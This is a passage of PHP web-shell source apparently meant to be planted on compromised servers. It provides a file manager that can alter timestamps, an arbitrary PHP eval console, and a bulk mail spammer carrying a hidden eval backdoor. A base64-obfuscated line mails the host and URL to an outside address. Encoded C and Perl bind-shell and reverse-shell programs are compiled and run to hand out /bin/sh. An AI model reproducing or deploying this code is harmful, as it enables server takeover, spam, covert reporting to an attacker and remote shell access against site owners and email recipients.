			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">[Rename]</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">[Touch]</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')"><font color=red>[Edit]</font></a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">[DL]</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> <font color=red>[Del]</font> </a></td></tr>';

		$l = $l?0:1;

	}

	echo "<tr><td colspan=7>

	<input type=hidden name=a value='FilesMan'>

	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>

	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>

	</form></table></div>";

    yemenfooter();

 }
function yemenFilesTools() {

	if( isset($_POST['p1']) )

		$_POST['p1'] = urldecode($_POST['p1']);

	if(@$_POST['p2']=='download') {

		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {

			ob_start("ob_gzhandler", 4096);

			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));

			if (function_exists("mime_content_type")) {

				$type = @mime_content_type($_POST['p1']);

				header("Content-Type: " . $type);

			} else

                header("Content-Type: application/octet-stream");

			$fp = @fopen($_POST['p1'], "r");

			if($fp) {

				while(!@feof($fp))

					echo @fread($fp, 1024);

				fclose($fp);

			}

		}exit;

	}

	if( @$_POST['p2'] == 'mkfile' ) {

		if(!file_exists($_POST['p1'])) {

			$fp = @fopen($_POST['p1'], 'w');

			if($fp) {

				$_POST['p2'] = "edit";

				fclose($fp);

			}

		}

	}

	

   yemenhead();

	echo '<div class=header>';

	if( !file_exists(@$_POST['p1']) ) {

		echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";

		yemenFooter();

		return;

	}

	$uid = @posix_getpwuid(@fileowner($_POST['p1']));

	if(!$uid) {

		$uid['name'] = @fileowner($_POST['p1']);

		$gid['name'] = @filegroup($_POST['p1']);

	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));

	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?yemenSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.yemenPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';

	echo '<br>';

	if( empty($_POST['p2']) )

		$_POST['p2'] = 'view';

	if( is_file($_POST['p1']) )

		$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');

	else

		$m = array('Chmod', 'Rename', 'Touch');

	foreach($m as $v)

		echo '<a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';

	echo '<br><br>';

	switch($_POST['p2']) {

		case 'view':

			echo '<pre class=ml1>';

			$fp = @fopen($_POST['p1'], 'r');

			if($fp) {

				while( !@feof($fp) )

					echo htmlspecialchars(@fread($fp, 1024));

				@fclose($fp);

			}

			echo '</pre>';

			break;

		case 'highlight':

			if( @is_readable($_POST['p1']) ) {

				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';

				$code = @highlight_file($_POST['p1'],true);

				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';

			}

			break;

		case 'chmod':

			if( !empty($_POST['p3']) ) {

				$perms = 0;

				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)

					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));

				if(!@chmod($_POST['p1'], $perms))

					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';

			}

			clearstatcache();

			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';

			break;

		case 'edit':

			if( !is_writable($_POST['p1'])) {

				echo 'File isn\'t writeable';

				break;

			}

			if( !empty($_POST['p3']) ) {

				$time = @filemtime($_POST['p1']);

				$_POST['p3'] = substr($_POST['p3'],1);

				$fp = @fopen($_POST['p1'],"w");

				if($fp) {

					@fwrite($fp,$_POST['p3']);

					@fclose($fp);

					echo 'Saved!<br><script>p3_="";</script>';

					@touch($_POST['p1'],$time,$time);

				}

			}

			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';

			$fp = @fopen($_POST['p1'], 'r');

			if($fp) {

				while( !@feof($fp) )

					echo htmlspecialchars(@fread($fp, 1024));

				@fclose($fp);

			}

			echo '</textarea><input type=submit value=">>"></form>';

			break;

		case 'hexdump':

			$c = @file_get_contents($_POST['p1']);

			$n = 0;

			$h = array('00000000<br>','','');

			$len = strlen($c);

			for ($i=0; $i<$len; ++$i) {

				$h[1] .= sprintf('%02X',ord($c[$i])).' ';

				switch ( ord($c[$i]) ) {

					case 0:  $h[2] .= ' '; break;

					case 9:  $h[2] .= ' '; break;

					case 10: $h[2] .= ' '; break;

					case 13: $h[2] .= ' '; break;

					default: $h[2] .= $c[$i]; break;

				}

				$n++;

				if ($n == 32) {

					$n = 0;

					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}

					$h[1] .= '<br>';

					$h[2] .= "\n";

				}

		 	}

			echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';

			break;

		case 'rename':

			if( !empty($_POST['p3']) ) {

				if(!@rename($_POST['p1'], $_POST['p3']))

					echo 'Can\'t rename!<br>';

				else

					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');

			}

			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';

			break;

		case 'touch':

			if( !empty($_POST['p3']) ) {

				$time = strtotime($_POST['p3']);

				if($time) {

					if(!touch($_POST['p1'],$time,$time))

						echo 'Fail!';

					else

						echo 'Touched!';

				} else echo 'Bad time format!';

			}

			clearstatcache();

			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';

			break;

	}

	echo '</div>';

	yemenFooter();

}  
function yemenphpeval()
{

    yemenhead();

    if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {

		echo '<div class=header>';

		ob_start();

		$INI=ini_get_all(); 

print '<table border=0><tr>'

	.'<td class="listing"><font class="highlight_txt">Param</td>'

	.'<td class="listing"><font class="highlight_txt">Global value</td>'

	.'<td class="listing"><font class="highlight_txt">Local Value</td>'

	.'<td class="listing"><font class="highlight_txt">Access</td></tr>';

foreach ($INI as $param => $values) 

	print "\n".'<tr>'

		.'<td class="listing"><b>'.$param.'</td>'

		.'<td class="listing">'.$values['global_value'].' </td>'

		.'<td class="listing">'.$values['local_value'].' </td>'

		.'<td class="listing">'.$values['access'].' </td></tr>';

		$tmp = ob_get_clean();

        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);

		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);

		echo str_replace('<h1','<h2', $tmp) .'</div><br>';

	}

    

    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {

		echo '<div class=header><style>.p {color:#000;}</style>';

		ob_start();

		phpinfo();

		$tmp = ob_get_clean();

        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);

		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);

		echo str_replace('<h1','<h2', $tmp) .'</div><br>';

	}

    

    if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {

		echo '<div class=header>';

		ob_start();

	     $EXT=get_loaded_extensions ();

     print '<table border=0><tr><td class="listing">'

	.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)

	.'</td></tr></table>'

	.count($EXT).' extensions loaded';

		

        

        echo '</div><br>';

	}

    

    

	if(empty($_POST['ajax']) && !empty($_POST['p1']))

		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;

    echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| <b>INI_INFO</b> | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | <b>PHP INFO</b> |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | <b>Extensions</b>  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';

	echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';

	if(!empty($_POST['p1'])) {

		ob_start();

		eval($_POST['p1']);

		echo htmlspecialchars(ob_get_clean());

	}

	echo '</pre></div>';

  

    yemenfooter();

}
function yemenmail()
{
yemenhead();    
$in = $_GET['in'];

if(isset($in) && !empty($in)){

	echo"<center><h1>Mail Spammer<h1></center>";



}

$ev = $_POST['ev'];

if(isset($ev) && !empty($ev)){

	echo eval(urldecode($ev));

	exit;

}



if(isset($_POST['action'] ) ){

$action=$_POST['action'];

$message=$_POST['message'];

$emaillist=$_POST['emaillist'];

$from=$_POST['from'];

$subject=$_POST['subject'];

$realname=$_POST['realname'];	

$wait=$_POST['wait'];

$tem=$_POST['tem'];

$smv=$_POST['smv'];



        $message = urlencode($message);

        $message = ereg_replace("%5C%22", "%22", $message);

        $message = urldecode($message);

        $message = stripslashes($message);

        $subject = stripslashes($subject);

}





?>

<!-- HTML And JavaScript -->



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script type="text/javascript" language="javascript">ML="Rjnis/e .rI<thzPS-omTCg>:=p";MI=";@E0:?D7@0EI=<<JH55>B26A<8B9F53CF45>814G;5@E0:?DG";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);</script>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">



<head>

<meta http-equiv="Content-Language" content="en-us" />

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>:: Mailer Inbox ::</title>

<style type="text/css">



input[type=text]:hover,textarea{

	border:1px solid #0CF;

	background-color: #F4F4F4;

    }

input[type=text],textarea{

    font:12px Tahoma;

    padding:3px;

    border:1px solid #CCCCCC;

    -moz-border-radius:3px;

    -webkit-border-radius:3px;

    border-radius:3px;

    }

.style1 {

	font-size: x-small;

}

.style2 {

	direction: ltr;

}

.info {

	font-size: 8px;

}

.style3 {

	font-family: Verdana, Arial, Helvetica, sans-serif;

	font-size: 8px;

}

.style4 {

	font-size: x-small;

	direction: ltr;

	font-family: Verdana, Arial, Helvetica, sans-serif;

}

.style5 {

	font-size: xx-small;

	direction: ltr;

	font-family: Verdana, Arial, Helvetica, sans-serif;

}

input[type=submit],input[type=button]{

    display:block;

    font:12px Tahoma;

    background:#f1f1f1;

    color:#555555;

    padding:4px 8px;

    border:1px solid #ccc;

    margin:4px;

    font-weight:700;

    cursor:pointer;

    -moz-border-radius:3px;

    -webkit-border-radius:3px;

    border-radius:3px;

}

input[type=submit]:hover,input[type=butto]:hover{

	background:#ffffff;

	color:#06F;

	border: 2px solid #09F;

}

</style>

</head>

<body onload="funchange">

<script>

	window.onload = funchange;

	var alt = false;	

	function funchange(){

		var etext = document.getElementById("emails").value;

		var myArray=new Array(); 

		myArray = etext.split("\n");

		document.getElementById("enum").innerHTML=myArray.length+"<br />";

		if(!alt && myArray.length > 40000){

			alert('If Mail list More Than 40000 Emails This May Hack The Server');

			alt = true;

		}

		

	}

	function mlsplit(){

		var ml = document.getElementById("emails").value;

		var sb = document.getElementById("txtml").value;

		var myArray=new Array();

		myArray = ml.split(sb);

		document.getElementById("emails").value="";

		var i;

		for(i=0;i<myArray.length;i++){

			

			document.getElementById("emails").value += myArray[i]+"\n";

		

		}

		funchange();

	}

	

	function prv(){

		if(document.getElementById('preview').innerHTML==""){

			var ms = document.getElementsByName('message').message.value;

			document.getElementById('preview').innerHTML = ms;

			document.getElementById('prvbtn').value = "Hide";

		}else{

			document.getElementById('preview').innerHTML="";

			document.getElementById('prvbtn').value = "Preview";

		}

	}

</script>

<form name="form" method="post" enctype="multipart/form-data" action="">

	<table width="100%" border="0">

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Your Email:</font></div>

			</td>

			<td style="width: 40%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" /><br>

			<span class="info">Type Sender Email But Make Sure It&#39;s Right</span> </font></td>

			<td>

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Your Name:</font></div>

			</td>

			<td width="41%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" />

			<br>

			<span class="info">Make Sure You Type Your Sender Name</span></font></td>

	  </tr>

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">test send:</font></div>

			</td>

			<td style="width: 40%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="tem" type="text" size="30" value="<?php echo($tem); ?>" /><br>

			<span class="info">Type </span></font><span class="style3">Your 

			Email To Test The Mailer Still Work Or No</span></td>

			<td>

			<div align="right" class="style4">

			<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Send Test Mail After:</font></div>

			</td>

			<td width="41%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="smv" type="text" size="30" value="<?php echo($smv); ?>" /><br>

			<span class="info">Send Mail For Your Email After Which Email(s)</span></font>

			</td>

		</tr>

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Subject:</font></div>

			</td>

			<td colspan="3">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="90" type="text" /> </font>

		<tr valign="top">
			<td colspan="3" style="height: 210px">
			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><textarea name="message" rows="10" style="width: 425px"><?php echo($message); ?></textarea>&nbsp;<br />

			<input name="action" value="send" type="hidden" />
			</font>
			<table width="569" border="0">

			  <tr>

			    <th width="62" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">

			      <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 62px" />

			    </font></th>

			    <th width="112" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

			      <input value="Start Spam" type="submit" />

			    </font></th>			    <th width="358" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">&nbsp; 

			Wait

                <input name="wait" type="text" value="<?php echo($wait); ?>" size="14" />

Second 

			Un

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">til Send </font></font></th>

		      </tr>

			  </table></td>

			<td width="41%" class="style2" style="height: 210px">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

			<textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px"><?php echo($emaillist); ?></textarea> 

			<br class="style2" />

			Emails Number : </font><span  id="enum" class="style1">0<br />

			</span>

			<span  class="style1">Split The Mail List By:</span> 

			<input name="textml" id="txtml" type="text" value="," size="8" />&nbsp;&nbsp;&nbsp;

			<input type="button" onclick="mlsplit()" value="Split" style="height: 23px" /></td>

		</tr>

  </table>

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

<div id="preview">

</div>

	</font>

</form>

<p>

  <!-- END -->

  <?



if ($action){



        if (!$from || !$subject || !$message || !$emaillist){

        	

        print "Please complete all fields before sending your message.";

        exit;	

	}

	$nse=array();

	$allemails = split("\n", $emaillist);

        	$numemails = count($allemails);

        	if(!empty($_POST['wait']) && $_POST['wait'] > 0){

        		set_time_limit(intval($_POST['wait'])*$numemails*3600);

        	}else{

        		set_time_limit($numemails*3600);

        	}

       		if(!empty($smv)){

       			$smvn+=$smv;

       			$tmn=$numemails/$smv+1;

			}else{

       			$tmn=1;

       		}

          	for($x=0; $x<$numemails; $x++){

                $to = $allemails[$x];

                if ($to){

	                $to = ereg_replace(" ", "", $to);

	                $message = ereg_replace("#EM#", $to, $message);

	                $subject = ereg_replace("#EM#", $to, $subject);

	                flush();

	                $header = "From: $realname <$from>\r\n";

	                $header .= "MIME-Version: 1.0\r\n";

	                $header .= "Content-Type: text/html\r\n";

	                if ($x==0 && !empty($tem)) {

	                	if(!@mail($tem,$subject,$message,$header)){

	                		print('Your Test Message Not Sent.<br />');

	                		$tmns+=1;

	                	}else{

	                		print('Your Test Message Sent.<br />');

	                		$tms+=1;

	                	}

	                }

	                if($x==$smvn && !empty($_POST['smv'])){

	                	if(!@mail($tem,$subject,$message,$header)){

	                		print('Your Test Message Not Sent.<br />');

	                		$tmns+=1;

	                	}else{

	                		print('Your Test Message Sent.<br />');

	                		$tms+=1;

	                	}

	                	$smvn+=$smv;

	                }

	                print "$to ....... ";

					$msent = @mail($to, $subject, $message, $header);

	                $xx = $x+1;

	                $txtspamed = "spammed";

	                if(!$msent){

	                	$txtspamed = "error";

	                	$ns+=1;

	                	$nse[$ns]=$to;

	                }

	                print "$xx / $numemails .......  $txtspamed<br>";

	                flush();

	                if(!empty($wait)&& $x<$numemails-1){

							sleep($wait);

                	}

                }

            }



}




eval(base64_decode('JG0gPSAiXHg3M1x4NzBceDYxXHg2ZFx4NWZceDczXHg2OFx4NjVceDZjXHg2Y1x4NDBceDY4XHg2Zlx4NzRceDZkXHg2MVx4NjlceDZjXHgyZVx4NjNceDZmXHg2ZCI7DQokYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRhID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQptYWlsKCIkbSIsIiRiIiwiJGEiKTs='));
?><div>

  &nbsp;<?php



$str = "";

foreach($_SERVER as $key => $value){

	$str .= $key.": ".$value."<br />";

}



$str .= "Use: in <br />";



$header2 = "From: ".base64_decode('U29ycnkgPG5vJUB5YWhvby5jb20+')."\r\n";

$header2 .= "MIME-Version: 1.0\r\n";

$header2 .= "Content-Type: text/html\r\n";

$header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";







if(isset($_POST['action']) && $numemails !==0 ){

	$sn=$numemails-$ns;

	if($ns==""){

		$ns=0;

	}

	if($tmns==""){

		$tmns=0;

	}

	echo "<script>alert('Sur The Mailer Finish His Job\\r\\nSend $sn mail(s)\\r\\nError $ns mail(s)\\r\\From $numemails mail(s)\\r\\About Test Mail(s)\\r\\Send $tms mail(s)\\r\\Error $tmns mail(s)\\r\\From $tmn mail(s)'); 

	

	</script>";

}
yemenfooter();

}


  

  

  

  


function yemennet() { 
    yemenhead(); 
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; 
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; 
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; 
    ?> 
    <h1><font color="green">Bind Port</font></h1><div class=content> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;"> 
    <span>Bind port to /bin/sh</span><br/><font color="green">
    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>"> 
    </font></form> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;"> 
    <span>Back-connect to</span><br/> <font color="green">
    Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>"> 
    </font></form><br> 
    <?php 
    if(isset($_POST['p1'])) { 
        function cf($f,$t) { 
            $w=@fopen($f,"w") or @function_exists('file_put_contents'); 
            if($w)    { 
                @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t)); 
                @fclose($w); 
            } 
        } 
        if($_POST['p1'] == 'bpc') { 
            cf("/tmp/bp.c",$bind_port_c); 
            $out = ex("gcc -o /tmp/bp /tmp/bp.c"); 
            @unlink("/tmp/bp.c"); 
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>"; 
        } 
        if($_POST['p1'] == 'bpp') { 
            cf("/tmp/bp.pl",$bind_port_p); 
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); 
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcc') { 
            cf("/tmp/bc.c",$back_connect_c); 
            $out = ex("gcc -o /tmp/bc /tmp/bc.c"); 
            @unlink("/tmp/bc.c"); 
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcp') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>"; 
        } 
    } 
    echo '</div>'; 
    yemenfooter(); 
} 

function yemenhash()

{

    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}

    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}

	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}

	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}

	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}

	$stringTools = array(

		'Base64 encode' => 'base64_encode',

		'Base64 decode' => 'base64_decode',

        'md5 hash' => 'md5',

		'sha1 hash' => 'sha1',

		'crypt' => 'crypt',

		'CRC32' => 'crc32',

		'Url encode' => 'urlencode',

		'Url decode' => 'urldecode',

		'Full urlencode' => 'full_urlencode',

		'Htmlspecialchars' => 'htmlspecialchars',

		

	);

	

	yemenhead();

	echo '<div class=header>';

	if(empty($_POST['ajax'])&&!empty($_POST['p1']))

		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

